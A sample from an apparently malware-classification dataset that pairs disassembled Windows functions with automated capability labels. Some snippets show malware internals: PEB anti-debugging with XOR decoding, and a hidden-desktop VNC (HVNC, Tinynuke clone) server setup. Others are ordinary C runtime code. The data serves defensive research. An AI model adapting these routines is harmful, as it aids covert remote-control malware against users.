joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408e80
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x430c30]
jne 0x408e8a
repz ret
jmp fcn.0040b99c

Function at 0x40b167
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00405317
and dword [ebp - 4], 0
cmp dword [0x431fc4], 0
mov ebx, eax
jne 0x40b218
push 0x402ac4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40b2c9
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402ab8
push edi
call esi
test eax, eax
je 0x40b2c9
push eax
call fcn.004052a5
mov dword [esp], 0x402aa8
push edi
mov dword [0x431fc4], eax
call esi
push eax
call fcn.004052a5
mov dword [esp], 0x402a94
push edi
mov dword [0x431fc8], eax
call esi
push eax
call fcn.004052a5
mov dword [esp], 0x402a78
push edi
mov dword [0x431fcc], eax
call esi
push eax
call fcn.004052a5
pop ecx
mov dword [0x431fd4], eax
test eax, eax
je 0x40b218
push 0x402a60
push edi
call esi
push eax
call fcn.004052a5
pop ecx
mov dword [0x431fd0], eax
mov eax, dword [0x431fd0]
cmp eax, ebx
je 0x40b270
cmp dword [0x431fd4], ebx
je 0x40b270
push eax
call fcn.00405320
push dword [0x431fd4]
mov esi, eax
call fcn.00405320
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40b270
test edi, edi
je 0x40b270
call esi
test eax, eax
je 0x40b267
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40b267
test byte [ebp - 0xc], 1
jne 0x40b270
or dword [ebp + 0x10], 0x200000
jmp 0x40b2a9
mov eax, dword [0x431fc8]
cmp eax, ebx
je 0x40b2a9
push eax
call fcn.00405320
pop ecx
test eax, eax
je 0x40b2a9
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40b2a9
mov eax, dword [0x431fcc]
cmp eax, ebx
je 0x40b2a9
push eax
call fcn.00405320
pop ecx
test eax, eax
je 0x40b2a9
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x431fc4]
call fcn.00405320
pop ecx
test eax, eax
je 0x40b2c9
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40b2cb
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x401000
Capabilities:
Check for peb beingdebugged flag
Encode data using xor

Disassembly:
mov eax, dword fs:[0x30]
mov al, byte [eax + 2]
test al, al
je 0x401027
mov byte [0x402044], 1
push eax
xor eax, eax
pop eax
test eax, eax
jne 0x40101e
jmp 0x401037
mov ebx, 0xdeadbeef
test ebx, ebx
jne 0x401027
mov ecx, 0x12
mov esi, section..data
mov edi, 0x40200e
push ecx
xor byte [esi], 0x5a
xor byte [edi], 0x36
inc esi
inc edi
add ecx, esi
sub ecx, edi
loop 0x401037
mov eax, 6
add eax, 9
cmp eax, 0xf
jne 0x401054
jmp 0x401068
xor eax, eax
mov eax, 0xbadcafe
push 0xdeadc0de
pop eax
cmp eax, 0xdeadc0de
jne 0x40106f
mov ecx, 4
xor ebx, ebx
mov eax, ecx
shl eax, 1
add eax, 0x14
cmp eax, 0x28
jl 0x40107e
jg 0x40107e
nop
mov eax, 0x40108d
add eax, ecx
add eax, dword [0x402045]
jmp eax
Function at 0x401f80
Capabilities:
Set console window title

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 8
call dword [sym.imp.KERNEL32.dll_AllocConsole]
push 0
call fcn.00411851
add esp, 4
push eax
push 0x43b688
push str.CONIN_
call fcn.0040e0eb
add esp, 0xc
push 1
call fcn.00411851
add esp, 4
push eax
push 0x43b694
push str.CONOUT_
call fcn.0040e0eb
add esp, 0xc
push 2
call fcn.00411851
add esp, 4
push eax
push 0x43b694
push str.CONOUT_
call fcn.0040e0eb
add esp, 0xc
push str.HVNC___Tinynuke_Clone__Melted_HF_
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
call fcn.004023a0
mov eax, dword [0x440da8]
mov dword [esp + 4], eax
lea eax, [esp + 4]
push eax
call fcn.00402650
mov eax, dword [esp + 4]
push 0x43b6f8
mov dword [0x440da8], eax
call fcn.00415492
add esp, 4
push str.____Starting_HVNC_Server..._n
call fcn.004011b0
mov ecx, dword [0x440da8]
add esp, 4
call fcn.00407a50
push str.___Server_Started__n
call fcn.004011b0
mov eax, dword [0x440da8]
add esp, 4
lea eax, [eax + str.___Listening_on_Port:]
push eax
call fcn.004011b0
add esp, 4
push dword [ebp + 0x10]
call fcn.00416012
add esp, 4
mov ecx, eax
call fcn.00407a50
test eax, eax
jne 0x402087
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.____Server_Couldnt_Start__Error:__d__n
call fcn.00401170
add esp, 8
call fcn.004161a9
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x407a50
Capabilities:
Compress data via winapi
Create thread
Get local ipv4 addresses
Get socket information
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1ec
mov eax, dword [0x43f004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str.ntdll.dll
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.RtlDecompressBuffer
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x444db0
mov dword [0x440dac], eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0x4000
push 0
push 0x440db0
call fcn.0040b5d0
mov esi, dword [sym.imp.USER32.dll_LoadIconW]
add esp, 0xc
mov dword [ebp - 0x1ec], 0x30
mov dword [ebp - 0x1e8], 8
mov dword [ebp - 0x1e4], 0x406d80
push 0x7f00
push 0
mov dword [ebp - 0x1e0], 0
mov dword [ebp - 0x1dc], 0
mov dword [ebp - 0x1d8], 0
call esi
push 0x7f00
push 0
mov dword [ebp - 0x1d4], eax
call dword [sym.imp.USER32.dll_LoadCursorW]
push 0x7f00
push 0
mov dword [ebp - 0x1d0], eax
mov dword [ebp - 0x1cc], 5
mov dword [ebp - 0x1c8], 0
mov dword [ebp - 0x1c4], str.HiddenDesktop_ControlWindow
call esi
mov dword [ebp - 0x1c0], eax
lea eax, [ebp - 0x1ec]
push eax
call dword [sym.imp.USER32.dll_RegisterClassExW]
lea eax, [ebp - 0x1b8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x407c10
push eax
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x407c10
mov eax, 2
mov dword [ebp - 0x10], 0
push edi
mov word [ebp - 0x14], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x14]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x407c10
push 5
push esi
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
je 0x407c10
lea eax, [ebp - 0x1bc]
mov dword [ebp - 0x1bc], 0x10
push eax
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.WS2_32.dll_getsockname]
push dword [ebp - 0x12]
call dword [sym.imp.WS2_32.dll_ntohs]
movzx eax, ax
push eax
push str.___Listening_on_Port:__d_n_n
call fcn.00401170
mov edi, dword [sym.imp.WS2_32.dll_accept]
add esp, 8
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
nop
lea eax, [ebp - 0x1bc]
push eax
lea eax, [ebp - 0x24]
push eax
push esi
call edi
push 0
push 0
push eax
push 0x4073b0
push 0
push 0
call ebx
jmp 0x407bf0
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00407c23
mov esp, ebp
pop ebp
ret

Function at 0x41c73f
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x434058
push 0x434050
push str.FlsAlloc
push 0x1e
call fcn.0041c5ac
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41c773
push dword [ebp + 8]
mov ecx, esi
call dword [0x430228]
call esi
jmp 0x41c779
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4
Function at 0x41c7bd
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x434068
push 0x434060
push str.FlsGetValue
push 0x20
call fcn.0041c5ac
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41c7f4
push dword [ebp + 8]
mov ecx, esi
call dword [0x430228]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x41f77c
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041f5ed
Function at 0x420a41
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x420ade
push ebx
push esi
call fcn.00420a0a
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00420953
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x420a8b
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x420add
push edi
push eax
call fcn.0041cd72
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x420aab
call fcn.0041c2d1
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x420adc
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00420953
add esp, 0x20
test eax, eax
jne 0x420aca
push edi
call fcn.0041c2d1
jmp 0x420ad2
push ebx
call fcn.0041c2d1
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x425469
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.0042daa0
mov eax, dword [0x43f004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.0041dba7
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x4254ab
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x425607
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.0042dad0
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x440a48]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.00426639
mov ecx, dword [esi*4 + 0x440a48]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x425600
cmp eax, dword [edi + ecx + 0x24]
jne 0x425600
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x425600
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00426639
add esp, 0x14
test edx, edx
jl 0x425600
jg 0x425576
test eax, eax
jb 0x425600
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x425600
jl 0x425590
cmp dword [ebp - 0x1008], eax
ja 0x425600
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x4255ae
test ebx, ebx
je 0x4255e7
cmp ecx, edi
jae 0x4255e7
mov al, byte [ecx]
cmp al, 0xd
jne 0x4255c8
lea eax, [edi - 1]
cmp ecx, eax
jae 0x4255d4
cmp byte [ecx + 1], 0xa
jne 0x4255d4
inc ecx
jmp 0x4255d4
movzx eax, al
movsx eax, byte [eax + 0x43f798]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x4255ae
cmp edx, ebx
jne 0x4255ae
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x425605
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00407c23
leave
ret
Function at 0x425ad7
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x440a48]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x425b17
cmp byte [ebx], 0xa
jne 0x425b17
or byte [eax + edi + 0x28], 4
jmp 0x425b1c
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x425c1a
mov al, byte [edx]
cmp al, 0x1a
je 0x425bfc
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x425b4b
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x425b70
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x425b7a
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x425b2d
jmp 0x425c1a
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x425bf7
cmp dword [ebp - 0xc], 0
je 0x425bf7
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x440a48]
test byte [eax + edi + 0x28], 0x48
je 0x425bd1
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x425bbc
mov byte [esi], dl
jmp 0x425bcd
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x440a48]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x425c1a
cmp byte [ebp - 1], 0xa
jne 0x425be0
cmp esi, ebx
jne 0x425be0
mov byte [esi], 0xa
jmp 0x425c19
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00426657
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x425c1a
mov byte [esi], 0xd
jmp 0x425c19
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x440a48]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x425c16
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x425c1a
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x425c23
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x440a48]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x425c66
cmp word [esi], dx
jne 0x425c66
or byte [edi + eax + 0x28], 4
jmp 0x425c6b
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x425dbe
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x425d9e
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x425cad
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x425ce3
cmp eax, edx
jae 0x425cef
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x425c85
jmp 0x425dbe
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x425d9a
cmp dword [ebp - 0x14], 0
je 0x425d9a
mov eax, dword [ebx*4 + 0x440a48]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x425d72
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x425d3b
mov word [esi], cx
jmp 0x425d6e
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x440a48]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x440a48]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x440a48]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x425dbe
pop ebx
cmp word [ebp - 4], bx
jne 0x425d83
cmp esi, dword [ebp + 0xc]
jne 0x425d83
mov word [esi], bx
jmp 0x425dbb
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00426657
add esp, 0x10
cmp word [ebp - 4], bx
je 0x425dbe
push 0xd
jmp 0x425db7
mov ecx, dword [ebx*4 + 0x440a48]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x425db5
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x425dbe
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x42c7a5
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0042c721
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x42c91d
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x42c91d
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x42c8cc
jg 0x42c7fe
test eax, eax
je 0x42c8c2
push 1
push 0x1000
call fcn.0041ba4e
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x42c824
mov eax, dword [ebp + 0x14]
push 0xc
pop edi
mov byte [eax + 0x1c], 1
mov dword [eax + 0x18], edi
jmp 0x42c8b9
push 0x8000
push ebx
call fcn.004172ee
mov edi, dword [ebp + 0x14]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x42c850
jg 0x42c84b
cmp ecx, 0x1000
jb 0x42c850
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.00424e7a
add esp, 0x10
cmp eax, 0xffffffff
je 0x42c895
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x42c84b
jl 0x42c87c
test ecx, ecx
jne 0x42c83d
push dword [ebp - 0xc]
push ebx
call fcn.004172ee
push esi
call fcn.0041c2d1
add esp, 0xc
xor edi, edi
jmp 0x42c92e
cmp byte [edi + 0x24], 0
je 0x42c8ac
cmp dword [edi + 0x20], 5
jne 0x42c8ac
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x42c8b7
mov edi, dword [edi + 0x18]
jmp 0x42c8b9
xor edi, edi
push esi
call fcn.0041c2d1
pop ecx
jmp 0x42c92e
test ecx, ecx
jg 0x42c88e
jl 0x42c8cc
test eax, eax
jae 0x42c88e
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00426657
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x42c8ef
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x42c88e
jmp 0x42c926
push ebx
call fcn.00421266
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x42c88e
mov esi, dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [esi + 0x24], 1
mov dword [esi + 0x20], eax
pop edi
mov byte [esi + 0x1c], 1
mov dword [esi + 0x18], edi
jmp 0x42c92e
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x42c92b
mov edi, dword [edi + 0x18]
jmp 0x42c92e
push 0x16
pop edi
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.00426657
add esp, 0x10
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x453d70
Capabilities:
Delete file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x453d8f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
jmp 0x453d96
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x453dad
mov ecx, dword [ebp - 4]
push ecx
call fcn.0043f820
add esp, 4
or eax, 0xffffffff
jmp 0x453daf
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x401260
Capabilities:
Hide graphical window

Disassembly:
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x403100], eax
push esp
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov esi, dword [esp + 8]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x4030f4], eax
xor eax, eax
mov ebp, esp
mov ecx, 0xa
push eax
dec ecx
jne 0x40128d
push esp
mov dword [ebp - 0x24], 0x401330
mov eax, dword [0x4030f4]
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], str.wookernof
call dword [sym.imp.USER32.dll_RegisterClassA]
xor eax, eax
push eax
push dword [0x4030f4]
push eax
push eax
push 0x190
push 0x2b2
push 0x640
push 0x9c4
push 0
push str.tofkol
push str.wookernof
push eax
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x403104], eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x40132c
mov esi, dword [sym.imp.USER32.dll_TranslateMessage]
mov edi, dword [sym.imp.USER32.dll_DispatchMessageA]
lea eax, [ebp - 0x1c]
push eax
call esi
lea ecx, [ebp - 0x1c]
push ecx
call edi
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x40130d
pop ebp
ret 0x10
Function at 0x10001050
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
dec eax
jne 0x1000107f
cmp dword [0x1000add8], eax
jne 0x1000107f
push eax
push eax
push eax
push section..text
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
mov dword [0x1000add8], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, 1
pop ebp
ret 0xc

Function at 0x100010ac
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x100010b6
repz ret
jmp fcn.10001338

Function at 0x10004e9a
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.1000143e
and dword [ebp - 0x14], 0
cmp dword [0x1000adc4], 0
mov dword [ebp - 0x18], eax
jne 0x10004f4d
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x10004ff5
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x10004ff5
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x1000adc4], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x1000adc8], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x1000adcc], eax
call edi
push eax
call esi
mov dword [0x1000add4], eax
test eax, eax
je 0x10004f4d
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x1000add0], eax
mov eax, dword [0x1000add0]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x10004fa6
cmp dword [0x1000add4], ecx
je 0x10004fa6
push eax
call esi
push dword [0x1000add4]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x10004fa6
test ebx, ebx
je 0x10004fa6
call edi
test eax, eax
je 0x10004f9d
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x10004f9d
test byte [ebp - 8], 1
jne 0x10004fa6
or dword [ebp + 0x10], 0x200000
jmp 0x10004fd9
mov eax, dword [0x1000adc8]
cmp eax, dword [ebp - 0x18]
je 0x10004fd9
push eax
call esi
test eax, eax
je 0x10004fd9
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x10004fd9
mov eax, dword [0x1000adcc]
cmp eax, dword [ebp - 0x18]
je 0x10004fd9
push eax
call esi
test eax, eax
je 0x10004fd9
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x1000adc4]
call esi
test eax, eax
je 0x10004ff5
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x10004ff7
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100010ac
leave
ret